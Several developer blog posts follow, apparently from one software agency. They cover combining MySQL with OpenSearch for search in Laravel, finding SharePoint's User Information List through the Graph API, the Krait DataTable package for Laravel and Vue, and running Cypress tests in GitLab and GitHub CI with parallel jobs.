We started with the obvious solution—adding more database indexes. If MySQL was struggling with complex searches, more indexes should fix it, right? We added composite indexes, covering indexes, and partial indexes across our wide tables.

The results were mixed. Some queries got faster, but others became painfully slow. Worse, saving data started taking longer because MySQL had to update all those indexes every time. We had created a performance seesaw.

To optimize our database structure, we also consolidated many of the searchable columns into a single JSON column, reducing the table width and improving MySQL’s performance for non-search operations. However, this made searching even more complex, as JSON queries in MySQL are notoriously slow and limited.

Why We Couldn’t Just Switch

The logical next step seemed obvious: migrate everything to a dedicated search engine like OpenSearch. But here’s the catch—our application wasn’t just a simple database with some queries. We had built complex syncing logic that automatically pulled data from various external services and kept everything in sync using MySQL’s reliable structure.

Switching to OpenSearch meant rewriting all of that—not just tweaking a few queries, but rebuilding the entire foundation of how our app handles data. We were looking at months of risky development work.

There had to be a better way.

The Hybrid Solution: Best of Both Worlds

Instead of choosing between MySQL and OpenSearch, we decided to use both. The idea was simple: let OpenSearch handle the complex searching and filtering, while MySQL continues managing data integrity, relationships, and business logic.

Here’s how our hybrid architecture works:

The Architecture

OpenSearch serves as our search layer, storing searchable copies of our data optimized for complex queries across multiple fields. It excels at fuzzy matching, sorting by any column combination, and handling the 47+ searchable fields our client requested.

MySQL remains our source of truth for all data creation, updates, and business logic. Our third-party integrations, sync processes, and complex relationships stay exactly where they are—no rewriting required.

The magic happens in the integration layer. When you query our system, OpenSearch finds the matching records and returns their IDs. We then use those IDs to fetch the full data from MySQL, maintaining all relationships and computed fields.

The Implementation

We built a custom query builder that mirrors Laravel’s Eloquent syntax but works with OpenSearch under the hood. Here’s how it looks in practice:

$records = config('services.opensearch.enabled', true) ? Lead::queryOSS() : Lead::query();
$user = $request->user();

$sorting = $this->getSortingParams($request,
    'leads/{category}',
    'leads-main-listing'
);
$records = $records->filterBy(collect($request->all()), $category, user());
$records = $records->sortBy($sorting, $user);
$records = $records->paginate($sorting['ipp']);

The beauty is in the simplicity—changing from Lead::query() to Lead::queryOSS() was literally the only change needed in most of our controllers.

OpenSearch Configuration

Setting up OpenSearch required careful configuration to handle our specific data structure. Here’s our configuration setup:

'<index_name>' => [
    'name' => env('OPENSEARCH_INDEX_RECORDS', '<index_name>'),
    'main_index' => env('OPENSEARCH_INDEX_RECORDS', '<index_name>').'_main',
    'migration_index' => env('OPENSEARCH_INDEX_RECORDS', '<index_name>').'_migration',
    'settings' => [
        'number_of_shards' => 1,
        'number_of_replicas' => 1,
        'max_result_window' => 50000,
    ],
    'mappings' => [
        'date_detection' => true,
        'dynamic_date_formats' => [
            'MM/dd/yyyy||yyyy-MM-dd||strict_date_optional_time',
        ],
        'dynamic' => true,
        'dynamic_templates' => [
            [
                'strings_as_keywords' => [
                    'match_mapping_type' => 'string',
                    'mapping' => [
                        'type' => 'keyword',
                    ],
                ],
            ],
        ],
    ],
],

Key configuration decisions:

We enabled dynamic mapping to automatically handle new fields without manual schema updates, perfect for our evolving data structure. Most of our searchable fields are exact matches rather than full-text searches, so we configured strings to be indexed as keywords by default.

We configured multiple date formats to handle the various date formats coming from our JSON columns and third-party integrations. Additionally, we set a high max_result_window to support large exports and reports that our users frequently generate.

Edge Cases/Trade-offs

The most challenging part is the data synchronization from MySQL to OpenSearch. To make it work reliably, you must be 100% sure that you’ve mapped the correct field types between the two systems.

In MySQL, we were saving booleans as 1 and 0 (one bit), but OpenSearch has a dedicated boolean type. You could configure a custom parser to accept 0 and 1, but it’s better to handle this conversion in your sync code and keep the input to OpenSearch as proper true/false values.

We sync all strings as keyword fields since we don’t need fancy full-text operations. Wildcard searches work fine on keywords, and all MySQL-style searching continues to work. We don’t need to tokenize our strings, which simplifies the mapping.

Different date formats between MySQL and OpenSearch can cause sync failures. We handle multiple date formats in our configuration, but it’s crucial to standardize date handling in your sync logic.

Unlike a single database, you now have two sources of truth that can potentially drift apart. Your sync logic must be bulletproof, with proper error handling and retry mechanisms.

Data Synchronization

We implemented automatic syncing using Laravel’s model observers. Whenever a record is created, updated, or deleted in MySQL, an event triggers a background job that updates the corresponding document in OpenSearch:

public function created(Lead|Model $model): void
{
    $this->dispatchOSSSync($model);
}

public function updated(Model $model): void
{
    foreach ($model->getOSSFields() as $field) {
        if ($model->isDirty($field)) {
            $this->dispatchOSSSync($model);
            break;
        }
    }
}

OSS Interface and Trait Implementation

The getOSSFields() method is defined in an interface that all OpenSearch-searchable models must implement. This ensures consistent behavior across different models and makes it easy to define which fields should be synced to OpenSearch.

We also created an OssSearchable trait that implements the required configurational methods:

trait OssSearchable
{
    public static function queryOSS(): OSSQuery
    {
        $builderClass = self::getQueryBuilderClass();
        
        return new $builderClass(
            self::getOssIndexName(),
            targetModelClass: self::class
        );
    }

    protected static function getOssIndexName(): string
    {
        $table = (new self)->getTable();
        return config("opensearch.indexes.$table.name");
    }

    protected static function getQueryBuilderClass(): string
    {
        return OSSQuery::class;
    }
}

This trait handles the configuration boilerplate, making it simple to add OpenSearch capabilities to any model by just implementing the interface and using the trait.

Zero-Downtime Index Management

One of the biggest challenges with search engines is updating index settings or mappings without downtime. We solved this with an index swapping strategy:

1. Create New Index: When we need to update index settings, we create a new index with the updated configuration
2. Migrate Data: We reindex all data from the old index to the new index using OpenSearch’s reindex API
3. Atomic Swap: We use index aliases to atomically switch traffic from the old index to the new one
4. Cleanup: Once the swap is complete, we delete the old index

This approach ensures that our application continues to work seamlessly even during major index updates, maintaining high availability while allowing us to evolve our search infrastructure.

The Query Builder Magic

Our OpenSearch query builder maintains familiar Eloquent methods while translating them to OpenSearch queries behind the scenes:

public function get(): array
{
    $results = $this->openSearchService->searchByQuery(
        query: $this->buildQuery(),
        index: $this->index,
        sort: $this->sort,
        searchAfter: $this->searchAfter,
        limit: $this->limit
    );

    if ($this->targetModelClass) {
        $records = $this->getMySQLRecords($results['records']);
    } else {
        $records = Collection::make($results['records'])->map(function ($record) {
            return OSSDocument::fromRawResponse($record);
        });
    }

    return [
        'records' => $records,
        'total' => $results['total'],
    ];
}

The getMySQLRecords method is where the magic happens—it takes the OpenSearch results (which contain document IDs) and fetches the full records from MySQL:

protected function getMySQLRecords(array $ossRecords): EloquentCollection
{
    $uuids = Collection::make($ossRecords)->map(function ($record) {
        return $record['_id'];
    });

    $records = $this->targetModelClass::whereIn('uuid', $uuids)->get();

    // Create a map of positions to maintain OpenSearch sort order
    $orderedUuids = array_flip($uuids->toArray());
    
    // Sort the collection based on the original OpenSearch order
    $records = $records->sortBy(function ($model) use ($orderedUuids) {
        return $orderedUuids[$model->uuid];
    })->values();

    return $records;
}

Developer Experience

The best part? Our existing Eloquent methods work seamlessly with the OpenSearch layer:

• ->count() - Returns total matching records
• ->get() - Fetches all matching records from MySQL
• ->paginate() - Handles pagination with OpenSearch sorting
• ->chunk() - Processes large datasets in batches
• ->first() - Gets the first matching record

All familiar Laravel patterns continue to work, but now with OpenSearch’s powerful search capabilities under the hood.

The Results

This hybrid approach delivered everything we needed:

Search queries that previously took 2-3 seconds now complete in under 200ms, even with complex filtering across multiple fields. We can now search and sort by any combination of our 47+ fields without creating dozens of database indexes.

Most importantly, we achieved this without massive rewrites. Our existing business logic, relationships, and third-party integrations remained untouched. OpenSearch handles the heavy lifting for search operations, while MySQL continues managing data integrity and relationships.

The hybrid architecture proved that sometimes the best solution isn’t choosing between technologies—it’s making them work together.

When Should You Use This Approach?

Use the Hybrid Approach When:

• Your dataset is small to medium-sized: MySQL can handle millions of records efficiently, but struggles with complex search operations across many fields. This hybrid approach works best when your data volume is manageable but you need extensive search flexibility.
• You’re extending an existing application: If your Laravel app has been working fine with MySQL, it means your data scale is appropriate. The hybrid approach is perfect for adding advanced search capabilities without the risk and cost of a complete rewrite.
• You have many searchable fields: When you need to search and sort across dozens of columns without creating performance-killing indexes, OpenSearch excels while MySQL handles the relationships and business logic.
• You value development speed: Changing from ->query() to ->queryOSS() in existing controllers is much faster than rebuilding your entire data layer.

Don’t Use This Approach When:

• You’re dealing with truly massive datasets: If you’re expecting millions of records with high growth rates, it’s better to invest in a complete architectural overhaul using dedicated NoSQL solutions like DynamoDB or a full OpenSearch implementation.
• You don’t actually need it: Don’t add complexity just because it looks cool. The hybrid approach introduces synchronization overhead, type conversion challenges, and additional infrastructure. Only implement it when your application genuinely needs advanced search capabilities.
• Your current setup works fine: If your MySQL queries are fast enough and your users are happy with the current search functionality, the added complexity isn’t worth it.
• You can’t handle the operational complexity: Managing two data stores means dealing with synchronization issues, data consistency concerns, and more complex deployment and monitoring requirements.

Remember, every architectural decision is a trade-off. The hybrid approach trades some complexity for search performance and flexibility—make sure that trade-off makes sense for your specific use case.

Naturally, the first question is: Where does SharePoint keep its list of known users?

If you search online, you'll find the same advice repeated everywhere: "Look for the list named User Information List."

At first glance, that sounds simple. Unfortunately, it isn't.

The problem with filtering

When querying SharePoint lists through MS Graph API (/sites/{tenant}.sharepoint.com,{siteId},{webId}/lists), we expected to be able to filter by useful fields such as `name`, `system`, or others. Every attempt failed with errors - except one:

$filter=displayName eq 'User Information List'

That was the only filter that actually worked. Relying on `displayName` felt brittle, especially since localization could easily change it. But with no other option, we reluctantly continued with this "solution".

The localisation surprise

Then came the day when a client's SharePoint site didn't have a "User Information List" at all. Or so we thought.

The catch? Their SharePoint instance was running in a non-English localisation. The list was there, just under a different name. Since the Graph API wasn't returning system lists by default, we couldn't see it.

We cross-checked with an English-localised instance and confirmed something important: system lists are hidden unless you explicitly include them. (facepalm moment).

The solution

The trick is to use the `system` property when listing lists. This ensures that system lists are included in the response. Once you do that, you can safely filter by `name=users` in your code, which stays consistent regardless of localization.

Here's the request:

GET https://graph.microsoft.com/v1.0/sites/{tenant}.sharepoint.com,{siteId},{webId}/lists?$top=999&$select=id,name,displayName,system

And a sample response:

{
  "@odata.etag": "\"xxxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx,240\"",
  "id": "xxxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
  "name": "users",
  "displayName": "User Information List",
  "system": {}
}

Notice the important part: `"name": "users"`.

That's the consistent key you should rely on, not the localised `displayName`.

What we learned (the hard way)

• Graph API filtering on lists is extremely limited.
• System lists (like the User Information List) don't show up unless you include `system`.
• Always rely on `name=users` instead of `displayName`, so your code works across different languages and tenants.

With this approach, you can reliably retrieve the User Information List's ID and name without falling into localisation or filtering traps.

Ever found yourself in the DataTable dilemma? When building a Single Page Application with popular frameworks like MUI, implementing dynamic tables is straightforward - just grab their ready-made components and you're good to go.

But here's the catch: What if you don't want to transform your entire project into a SPA just to get your hands on a fancy table component? Importing an entire framework for a single feature feels like using a sledgehammer to crack a nut.

Imagine this scenario: You're deep into a Laravel project that elegantly combines Blade templates with sprinkles of VueJS components for interactive features. Then comes the need for a DataTable. Your options?

1. Go big: Import an entire framework for VueJS
2. Go "not so" big: Add a VueJS-specific DataTable plugin

Here's where it gets interesting - both options miss out on Laravel's powerful built-in features. Think API Resources, Pagination, Sorting - all the good stuff you already have at your fingertips. That's where Krait steps in, embracing a simple yet powerful philosophy: "Why add extra complexity when Laravel already provides everything you need?"

Key Features

Dynamic Front-End Capabilities

• Resizable Columns: All columns are resizable by default, with the option to set fixed-width columns through backend configuration
• Column Visibility Control: Users can show/hide columns via an intuitive dropdown interface
• Column Reordering: Drag-and-drop functionality allows users to customize column arrangement
• AJAX Pagination: Seamless data loading with adjustable items per page
• Smart Sorting: Built-in column sorting with the ability to disable sorting for specific columns

User Experience

• Persistent Settings: All user preferences (column width, visibility, order) are automatically saved and restored
• Zero Page Reloads: Pure AJAX-based interactions for smooth user experience
• Bootstrap Integration: Leverages Bootstrap's styling for consistent look and feel
• Responsive Design: Adapts to different screen sizes and devices

Developer-Friendly Features

• Single Command Generation: Create complete table implementations with one Artisan command
• MVC Pattern Compliance: Automatically generates organized code following Laravel best practices
• Built-in Laravel Integration:
  • Seamless API Resource utilization
  • Native Laravel pagination support
  • Built-in authentication handling
  • Automatic route registration

Backend Flexibility

• Customizable Data Processing: Full control over data retrieval and transformation
• Column Configuration API: Comprehensive options for defining column behavior
• Security Integration: Leverages Laravel's authentication and authorization systems
• Performance Optimization: Efficient data loading and processing mechanisms

Getting Started with Krait

Krait is an open-source solution available on GitHub. While it consists of two packages - a front-end package - @mtrdesign/krait-ui and a back-end package - mtrdesign/krait, the installation process is streamlined through the main Laravel package.

To get started, simply install the package via Composer:

composer install mtrdesign/krait

Then run the Laravel Artisan installation command:

php artisan krait:install

This will automatically install and configure all required resources in their appropriate locations.

One last step...

The final part is to add Krait's plugin to your VueJS application. In the app.js (the JS entrypoint of the application) add the following lines:

// Import Krait JS
import Krait from "@mtrdesign/krait-ui";
import tables from "./components/tables";

// Import Krait Styles
import "@mtrdesign/krait-ui/styles";

// Inject Krait in your VueJS application
const app = Vue.createApp({});
app.use(Krait, {
    tables: tables,
});

Now let's create our first table

Looking for Example Table Inspiration? Our Feline Friends Have the Answer!

Generate it with a single command:

php artisan krait:table CatsTable

This command generates three key files, following the MVC pattern:

• Model (/app/Tables/CatsTable.php): Defines the table structure and column configurations
• Controller (/app/Http/Controllers/Tables/CatsTableController.php): Handles data retrieval logic
• View (/resources/js/components/tables/CatsTable.js): VueJS component for front-end visualization, available as <cats-table> in your Blade templates

That's all it takes to create a fully functional dynamic DataTable! Everything is automatically handled behind the scenes, including:

• API routes and authentication
• Data modeling and retrieval
• Pagination and sorting capabilities
• Table configurations
  • Column visibility
  • Column ordering
  • Column sizing
  • Preview settings

No additional setup required - you're ready to start customizing your table just by using the <cats-table> VueJS component.

Customizing the Table

The default table template starts with a basic structure of two columns and one additional attribute:

# /app/Tables/CatsTable.php
...
class CatsTable {
  ...
  function initColumns(): void
  {
    $this->column(
      name: 'my_first_column',
      label: 'My First Column',
      process: fn(mixed $resource) => 'This content is processed.'
    );

    $this->column(
      name: 'some_field',
      label: 'Resource Field',
    );
  }

  function additionalData(mixed $resource): array
  {
    return [
      'additional_prop' => 'Krait is awesome!',
    ];
  }
}

All columns are defined in the initColumns function. Now, let's transform this into a more practical example for our cat management system. Let's add a name, breed, country, profession (yes - we all know that the cats are lazy but let's assume that they can work!).

# /app/Tables/CatsTable.php
...
class CatsTable {
  ...
  function initColumns(): void
  {
    $this->column(
      name: 'name',
      label: 'Name',
      sortable: true,
      process: fn($cat) => ucfirst($cat->name)
    );

    $this->column(
      name: 'breed',
      label: 'Breed',
      sortable: true,
    );

    $this->column(
      name: 'country_code',
      label: 'Country',
      sortable: true,
    );

    $this->column(
      name: 'profession',
      label: 'Job Title',
      sortable: true,
    );
  }
...
}

The name field specifies the property name in the data records, while the label field defines the display title shown in the user interface.

To enhance the functionality, we'll fetch the actual country names from a third-party API. Let's add a new attribute function to our CatsTable class as follows:

# /app/Tables/CatsTable.php

use GuzzleHttp\Client;
use Illuminate\Support\Facades\Cache;
...
class CatsTable {
  ...
  function getCountryCodeKraitAttribute(mixed $cat): string
  {
    return Cache::remember("country_{$cat->country_code}", 3600, function() use ($cat) {
      $client = new Client();

      try {
        $response = $client->get(
            "https://restcountries.com/v3.1/alpha/{$cat->country_code}"
        );
        $data = json_decode($response->getBody(), true);
        return $data[0]['name']['common'] ?? $cat->country_code;
      } catch (Exception $e) {
        return $cat->country_code;
      }
    });
  }
}

This example demonstrates how to create dynamic data pipelines in the table class, which has many practical applications in real-world scenarios.

Let's examine our CatsTableController class in detail. By default, the controller returns the following:

# /app/Http/Controllers/Tables/CatsTableController.php
use App\Tables\CatsTable;
...
class CatsTableController {
  public function __invoke(): TableCollection
  {
    $items = collect([
      [
        'some_field' => 'Some field value'
      ]
    ]);

    return CatsTable::from($items);
  }
}

Krait is flexible and works with multiple data formats, including:

• Eloquent collections
• Regular PHP arrays
• Laravel collections

For this example, we'll use an Eloquent model called Cat, which corresponds to a database table cats containing the following fields:

• name
• breed
• country_code
• profession

Steps to reproduce it

1. Create the model using php artisan make:model Cat -m
2. Update the migration

# /database/migrations/xxxxxx_create_cats_table.php

use Illuminate\Database\Migrations\Migration;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Support\Facades\Schema;

class CreateCatsTable extends Migration
{
  public function up()
  {
    Schema::create('cats', function (Blueprint $table) {
      $table->id();
      $table->string('name');
      $table->string('breed');
      $table->string('country_code');
      $table->string('profession');
      $table->timestamps();
    });
  }

  public function down()
  {
    Schema::dropIfExists('cats');
  }
}

3. Run the migration

php artisan migrate

4. Update the Cat model

# /app/Models/Cat.php

namespace App\Models;

use Illuminate\Database\Eloquent\Model;

class Cat extends Model
{
  protected $fillable = [
    'name',
    'breed',
    'country_code',
    'profession'
  ];
}

5. Create the Factory:

php artisan make:factory CatFactory

6. Create the Seeder:

php artisan make:seeder CatSeeder

7. Edit the Factory:

<?php
# /database/factories/CatFactory.php

namespace Database\Factories;

use App\Models\Cat;
use Illuminate\Database\Eloquent\Factories\Factory;

class CatFactory extends Factory
{
  protected $model = Cat::class;

  public function definition()
  {
    return [
      'name' => $this->faker->firstName,
      'breed' => $this->faker->randomElement(['Persian', 'Siamese', 'Maine Coon', 'British Shorthair', 'Ragdoll']),
      'country_code' => $this->faker->countryCode,
      'profession' => $this->faker->jobTitle
    ];
  }
}

8. Edit the Seeder:

<?php
# /database/seeders/CatSeeder.php

namespace Database\Seeders;

use App\Models\Cat;
use Illuminate\Database\Seeder;

class CatSeeder extends Seeder
{
  public function run()
  {
    Cat::factory()->count(500)->create();
  }
}

9. Update your Model to use HasFactory:

<?php
# /app/Models/Cat.php

namespace App\Models;

use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;

class Cat extends Model
{
  use HasFactory;

  protected $fillable = [
    'name',
    'breed',
    'country_code',
    'profession'
  ];
}

10. Run the seeder:

php artisan db:seed --class=CatSeeder

Alright, now we have seeded the cats - a lot of cats!

Let's show them!

# /app/Http/Controllers/Tables/CatsTableController.php

use App\Tables\CatsTable;
use App\Models\Cat;
...
class CatsTableController {
  public function __invoke(): TableCollection
  {
    # Using query to let Krait manage the pagination
    $cats = Cat::query()

    return CatsTable::from($cats);
  }
}

That's it! The setup is now complete with all features working automatically:

• Pagination
• Filtering
• User preferences
• Custom column previews
• And more

For advanced column structure customization options, please refer to our Official Documentation.

A Slight Touch on the Front-end Customizations

You can customize how table rows are displayed by modifying the VueJS component at /resources/js/components/tables/CatsTable.vue. For example, let's modify the component to display "lazy cat..." for records where the profession field is empty.

// /resources/js/components/tables/CatsTable.vue

<script setup>
defineProps({
  'filtersForm': {
    type: String,
    required: false,
    default: undefined,
  }
});
</script>

<template>
  <DynamicTable
    apiEndpoint="users-table"
    :filtersForm="filtersForm"
  >
    <template #row="{ record, column }">
      <div class="cell" v-if="column.name === 'profession'">
        {{ record[column.name] }} ?? "lazy cat..."
      </div>
      <div class="cell" v-else>
        {{ record[column.name] ?? 'N/A' }}
      </div>
    </template>
  </DynamicTable>
</template>

These examples cover the basic customization of Krait, but the framework offers many more advanced features, including:

• Adding Filters Form: Create custom search and filtering interfaces
• Dynamic Columns Generation: Build fully dynamic tables with columns fetched from external services
• Customizing Column Behavior: Configure which columns can be sorted or filtered

For a complete overview of all features, please refer to our documentation.

Conclusion

Krait offers a pragmatic solution to a common challenge in Laravel development - implementing dynamic tables without overcomplicating your application architecture. By leveraging Laravel's existing strengths and combining them with lightweight VueJS components, Krait provides a perfect balance between functionality and simplicity.

The package's philosophy of "working with Laravel, not against it" means you can maintain clean, maintainable code while still delivering powerful, feature-rich tables. Whether you're building a small project or a large-scale application, Krait's approach of minimal overhead and maximum integration makes it an excellent choice for Laravel developers who want sophisticated table functionality without the complexity of full-scale SPA frameworks.

With its single-command setup, intuitive API, and extensive customization options, Krait empowers developers to create professional-grade dynamic tables while staying true to Laravel's elegant syntax and conventions.

Remember to check out our Official Documentation for more advanced features and customization options!

Why Cypress?

A colleague of mine has already written a series of articles on that topic. Be sure to check it out here, here and here. It gives a very detailed comparison between the different E2E testing frameworks. The articles were written around 3 years ago but are still valid today as well.

There are three main reasons why I decided to use Cypress for this project:

1. It has enjoyable syntax (the way tests, fixtures, and additional helper functions are injected and used is just awesome)
2. It has almost all the major features that other frameworks provide + a lot of plugins that extend the base functionality
3. It’s fast to write, fast to integrate, and fast to update if needed (includes all needed Docker images out-of-the-box + well-written documentation)

When I write tests, I follow one simple yet powerful rule - the simpler, the better (from both readability and integration perspectives). It doesn’t matter if they are unit, integration, or E2E, the tests are mandatory from the development point of view, but at the same time, they are something additional to the main codebase - not part of the main functionalities used by the end users. So they should be as descriptive as possible - when something fails, we, as developers, want to just take a look and directly receive information about the feature that has been broken (and the exact parts of it). No need for complex abstract functions or OOP, and no need for reducing the “duplicated” code - each test should be written in a “one look gives you all information” way (without scrolling to different files, logging inputs/outputs, etc. to find the problem). That’s why Cypress completely covers the above requirements.

Cypress Test Cases Optimization

Before we dive deeper into the CI/CD integration-based optimisations, we should ensure that the tests are structured and written in an optimised way as well. If your tests run is slow and heavy by itself you should consider refactoring, not optimisations. A few rules that we can apply:

1. Organise the assertions in an “optimised” way

E2E tests generally don’t follow the “single assertion per test” concept, so feel free to write as many assertions as needed. Yes, it’s nice to have all tests structured in smaller amounts of assertions and more test cases (I would say it’s even mandatory for unit tests), but if it slows the E2E tests down (requiring repetitive actions and page refreshes), I would consider grouping more assertions in one test case.

2. Use Cypress Custom Commands

Cypress offers a very intuitive way of writing custom commands (helper functions). For example, here we have such a command for typing text in text input.

Cypress.Commands.add('fill', (fieldId, value, tagName = 'input') => {
 cy.get(`${tagName}#${fieldId}`)
   .scrollTo('top', {ensureScrollable: false})
   .type(value);
});

And then the command can be used anywhere in the tests as:

cy.fill('email', 'input');

The command will scroll to the field and then fill the value in (I’ve experienced some issues with not-visible/not-clickable fields, and that completely solved them). It’s not something that would speed up your tests, but it’s something that will speed up the debugging process if something fails (increases the readability). But keep in mind that the commands should not be too complex, otherwise, you would be in the same time-consuming tests debugging position (scrolling through a lot of files, searching different functions).

3. Fill out the forms and test the validation rules iteratively when possible.

If you have large forms with lots of fields, it makes sense to test them iteratively - filling the fields one by one and checking the results without the need for page refreshing.

Cypress Reports Generation

Cypress offers different built-in reporters (from Mocha) as well as a lot of plugins that you can quickly set up and generate some good-looking reports. JSON, HTML, Videos, Images, XML - whatever fits best for your project. For our case, we decided to generate a simple HTML page in a compact inline format - one file that serves all of the information. I’ve tried different libraries during the research and personally liked the Cypress Mockawesome Reporter. Internally it uses Mochawesome JSON structured data to generate the final HTML, which is exactly what Cypress suggests in the documentation as an example for HTML Reports Generation. The setup is very simple, and the best part is that Cypress allows you to combine different reporters using the cypress-multi-reporters. For example, in this snippet of code, you can find the basic Mochawesome JSON reporter combined with the Cypress Mockawesome Reporter. Mochawesome JSON Reporter serves us a complete JSON stats report, and the Cypress Mochawesome Reporters generates the HTML output.

export default defineConfig({
 reporter: 'cypress-multi-reporters',
 reporterOptions: {
   reporterEnabled: 'cypress-mochawesome-reporter, mochawesome',
   cypressMochawesomeReporterReporterOptions: {
     reportPageTitle: `SF E2E - ${date.toLocaleString("en-US", {timeZone: reportsTimeZone})}`,
     charts: true,
     overwrite: false,
     inlineAssets: true,
     embeddedScreenshots: true,
     saveAllAttempts: false,
     videoOnFailOnly: true,
   },
   mochawesomeReporterOptions: {
     reportDir: 'cypress/reports/json',
     overwrite: false,
     html: false,
     json: true,
   },
});

You will find more details for the Cypress configuration options and callbacks in the GitHub CI/CD Optimizations sections.

GitLab Cypress Integration

The project was initially placed in GitLab, but we decided to migrate the codebase along with all pipelines to GitHub (as it provides more features like branch-protection rules using required jobs to pass, etc.). However, there are some interesting tricks in GitLab that I want to share with you as that might save you some time in the future (a lot of these facts are hard-to-find in the GitLab documentation or community forum, so I will post them here summarised).

The overall deployment pipeline is:

Four main stages:

1. Build - installing the needed dependencies and building the optimised production code. It’s a NextJS Typescript project, so here we generate both the server code as well as the front-end production builds.

2. Test - starting a temporal server using the already generated code from the Build jobs and running the E2E Cypress tests. Here we use a specific Cypress Docker Image - another big benefit of GitHub over Gitlab - in GitHub you have an already developed official action that does all of the processes automatically (more details in the GitHub Cypress Integration section).

.cypress-e2e-tests:
 image: cypress/browsers:node-18.14.1-chrome-110.0.5481.96-1-ff-109.0-edge-110.0.1587.41-1
 cache:
   - key: $CI_COMMIT_REF_SLUG
     paths:
       - node_modules
       - .next
     policy: pull
   - key: $CI_COMMIT_REF_SLUG--e2e-report--$CI_JOB_ID
     paths:
       - cypress/reports
     policy: push
     when: always
 artifacts:
   paths:
     - cypress/all-videos
     - cypress/screenshots
   expire_in: 5 days
 dependencies: []
 before_script:
   - echo "$CYPRESS_CONFIG_JSON" > cypress.env.json
   - npm start &
 script:
   - CYPRESS_CACHE_FOLDER=$CYPRESS_CACHE_DIR npm run test:e2e
 after_script:
   - npm run test:e2e-postprocess

As you can see, we’re using the cypress/browsers:node-18.14.1-chrome-110.0.5481.96-1-ff-109.0-edge-110.0.1587.41-1 Docker image to run the tests in Chrome. There are two caches - the ‘dependencies and build’ one, generated from the Build stage (only for reading), and the Cypress reports one, where we store the generated reports (only for writing). Also, we have one additional artifact for convenience - just in case the developer wants to take a quick look at all of the report resources directly in GitLab. In the main scripts part, we inject the Cypress environment config (echo "$CYPRESS_CONFIG_JSON" > cypress.env.json) and start the NextJS server (npm start &). The NPM test:e2e command starts the Cypress run (executing cypress run --browser chrome). The after_script is used to finish the reports generation process as we use mochawesome-merge to merge JSONs and generate a nice HTML report page.

3. Deploy - the only purpose of this stage is to upload the already built and tested code to the real server.

4. Plaid Check - it’s used to flag if the Plaid integration is still working as expected after the deployment.

We have configured Minio Bucket as the default storage for all GitLab caches. This way, you can easily integrate the report's data in every project without touching its initial storage structure - without adding and synchronising additional tables in the database and without developing queues/API requests to get the needed information. For example, you can easily create a similar table to summarise the results just by reading the information from the Cache Storage.

GitHub Cypress Integration

There is an already-developed Official Cypress GitHub Action that handles the whole integration (it installs Cypress, builds the project, starts it, and runs the tests). You can still use custom Docker images if you want a specific version of the browser.

You can see the fundamental part of our GitHub Deployment workflow below.

As we’re focusing on the Cypress tests in this article, I will not dive deeper into the other parts of the workflow. But basically, again, we have four main parts:

1. Install - installs all dependencies and caches them. Keep in mind that when you cache the Cypress library, you should cache the Cypress Cache as well. For convenience, I would recommend installing it in the ‘node_modules’ folder as well (passing the CYPRESS_CACHE_FOLDER variable to the NPM installation command).
   CYPRESS_CACHE_FOLDER=${{ github.workspace }}/node_modules/.cache/Cypress npm ci
2. Build - builds the NextJS production code and uploads the production build as an artifact that will be passed to the following jobs.
3. Test - runs the Cypress E2E Tests using the Official Cypress GitHub Action. Initially we used a regular job but then switched to a matrix jobs strategy that made the tests drastically faster.
4. Deploy/Reports generation - Deploys the code to the server if the tests have passed successfully and generates the HTML reports using the Cypress Mockawesome Reporter.

That’s how the Cypress GitHub Action looks like in our testing job:

- name: Run the E2E Cypress Tests
 uses: cypress-io/github-action@v5
 with:
   install: false
   start: npm run start
   browser: chrome
   spec: cypress/e2e/**/*.spec.ts
 env:
   CYPRESS_CACHE_FOLDER: ${{ github.workspace}}/node_modules/.cache/Cypress

Install is ‘false’ as we’ve already installed Cypress and all of the dependencies in the Install job (they are located in the GitHub Cache now). The server is started using npm run start, and the browser is Chrome. If you want to use the same approach with ‘cached dependencies’, ensure that the CYPRESS_CACHE_FOLDER variable is passed to the environment of the step. We don’t provide a ‘build’ command to the action as we have already built the project in the Build job. All of these “pre-building/pre-installing in previous jobs” are part of the CI/CD optimizations as well - if you build your project once and use the build in a couple of different jobs - it makes sense. If you have a matrix of jobs and every single job needs the project distribution code - it makes sense (you are saving GitHub runtime seconds). But if you just need to run the tests and that’s everything, you can completely leave all install, build, start, and run steps to the Cypress GitHub Action. For example, we have a scheduled daily run of the same tests that notifies the client if something has been broken. There is no need to use artifacts and flood the GitHub Storage with unnecessary data.

That’s the action looks there:

- name: Run the Cypress E2E tests
 uses: cypress-io/github-action@v5
 with:
   install: true
   build: npm run build
   start: npm run start
   browser: chrome

Cypress CI/CD Optimization via Jobs Parallelization

As you saw in the previous section, instead of one test job, we have a matrix of 12 jobs that run in parallel.

The idea is very simple - divide and conquer. It’s something that Cypress offers out-of-the-box, but they force you to use the CypressIO Dashboard Service. I don’t say it’s something bad, but it creates additional third-party dependency in your flow and exposes some of your test data to their cloud as well. How about if you test some private interfaces?

We decided to separate the tests by ourselves with a simple bash script that runs in every single ‘matrix’ job.

That’s what the overall test job looks like:

test:
 name: Test
 needs: build
 runs-on: ubuntu-22.04
 strategy:
   matrix:
     worker_id: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12]
 env:
   WORKER_ID: ${{ matrix.worker_id }}
   WORKERS_COUNT: 12
   CYPRESS_WORKERS: true
 steps:
   - name: Checkout the git branch
     uses: actions/checkout@v3

   - uses: actions/cache@v3
     with:
       path: |
         node_modules
       key: dependencies-cache-${{ runner.os }}-${{ hashFiles('package-lock.json') }}

   - name: Download the distribution build zip
     uses: actions/download-artifact@v3
     with:
       name: distribution-build.zip

   - name: Unzip distribution-build.zip
     run: unzip -q distribution-build.zip

   - name: Setup Node.JS
     uses: actions/setup-node@v3
     with:
       node-version: ${{ env.NODE_VERSION }}

   - name: Select the worker's tests
     run: chmod u+x ./cypress-threads.sh && ./cypress-threads.sh

   - name: Cypress start and run
     uses: cypress-io/github-action@v5
     with:
       install: false
       start: npm run start
       browser: chrome
       spec: cypress/e2e/**/*.spec.ts
     env:
       CYPRESS_CACHE_FOLDER: ${{ github.workspace }}/node_modules/.cache/Cypress

   - name: Zip the Cypress results
     if: success() || failure()
     run: zip -9qry "worker-results-${{ matrix.worker_id }}.zip" "./" -i "cypress/reports/*"

   - name: Upload the Cypress results
     if: success() || failure()
     uses: actions/upload-artifact@v3
     with:
       name: worker-results-${{ matrix.worker_id }}.zip
